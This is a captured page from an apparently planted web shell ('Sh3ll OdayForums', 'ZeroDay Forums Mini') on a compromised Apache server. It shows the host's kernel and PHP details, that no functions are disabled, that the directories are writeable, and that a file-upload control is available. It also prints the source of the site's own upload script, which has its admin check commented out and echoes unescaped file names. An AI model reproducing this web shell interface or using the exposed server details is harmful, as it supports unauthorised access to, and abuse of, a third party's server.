Sh3ll
OdayForums


Server : Apache
System : Linux profile 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 8.0.28
Disable Function : NONE
Directory :  /var/www/html/mmishra/indem/icdp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/mmishra/indem/icdp/fileuploads.php
<?php
//checkadmin($role);
checklogin($user);

$submit = $_POST["submit"];
if ($submit == 'UPLOAD') fileUpload();
?>
<br>
Please select file to upload on server. Here image files will be uploaded in \"images\" folder
and other files will be uploaded in \"documents\" folder. File at wrong place may cause access problem.
<br><br>

Select file <input type='file' name='userfile' size='50'> <input type='submit' name='submit' value='UPLOAD' style='width:80px'>

Add to Photo Gallery 
<input type='checkbox' name='gallery' value='gallery/'>
<br><br>
Only images can be added to the photo gallery. Please upload pdf/jpg/gif files to achieve better performance.<br>
These file can be referenced as "/document/filename" or "images/filename".
<br><br>
List of files in <a href='documents/' target='_blank'>documents</a> & <a href='images/' target='_blank'>images</a> folders.
<br><br>
<b>Photos in Gallery:</b><dir>
<?php
$dir = filePath('gallery');

$dh  = opendir($dir);
$counter = 0;
while (false !== ($filename = readdir($dh))) {
        if (strlen($filename) > 2) {
                echo "[ <a href='images/gallery/$filename'>$filename</a> ]";
                $counter++;
        }
}
echo "</dir>Total: $counter";
?>

ZeroDay Forums Mini